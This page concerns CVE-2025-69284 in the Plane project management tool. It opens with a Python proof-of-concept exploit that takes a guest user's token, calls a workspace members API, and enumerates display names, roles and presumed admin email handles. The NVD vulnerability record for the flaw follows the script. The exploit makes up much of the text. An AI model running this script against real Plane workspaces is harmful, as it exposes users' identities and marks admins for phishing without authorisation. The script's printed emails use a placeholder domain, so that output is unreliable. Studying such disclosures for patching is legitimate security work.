CVE-2025-69284

import requests # CVE-2025-69284 PoC - Information Disclosure via Member List API # Target: Plane < 1.2.0 # Author: Security Researcher TARGET_URL = "https://app.plane.so" WORKSPACE_SLUG = "target-workspace" ACCESS_TOKEN = "guest_user_access_token" # Attacker needs valid guest token def exploit(): headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Step 1: Request member list API endpoint url = f"{TARGET_URL}/api/workspaces/{WORKSPACE_SLUG}/members/" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Successfully accessed member list!") print("\n[+] Extracted user information:") # Step 2: Parse and extract email handlers for member in data.get("results", []): display_name = member.get("display_name", "") email = member.get("email", "") role = member.get("role", "member") print(f" - Name: {display_name}") print(f" - Email Handler: {display_name}@domain.com") print(f" - Role: {role}") print() # Step 3: Identify potential admin emails if "admin" in display_name.lower() or role == "admin": print(f"[!] Potential admin email handler found: {display_name}") elif response.status_code == 403: print("[-] Access denied - target may be patched or token invalid") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-69284 PoC - Plane Member List Information Disclosure") print("=" * 60) exploit()

{"cve": {"id": "CVE-2025-69284", "sourceIdentifier": "[email protected]", "published": "2026-01-02T16:17:05.277", "lastModified": "2026-02-25T14:58:56.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plane is an an open-source project management tool. In plane.io, a guest user doesn't have a permission to access https[:]//app[.]plane[.]so/[:]slug/settings. Prior to Plane version 1.2.0, a problem occurs when the `/api/workspaces/:slug/members/` is accessible by guest and able to list of users on a specific workspace that they joined. Since the `display_name` in the response is actually the handler of the email, a malicious guest can still identify admin users' email addresses. Version 1.2.0 fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plane:plane:1.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7CC6D485-45B8-45DB-816B-D7FF3E8FDBDE"}]}]}], "references": [{"url": "https://github.com/makeplane/plane/security/advisories/GHSA-7qx6-6739-c7qr", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}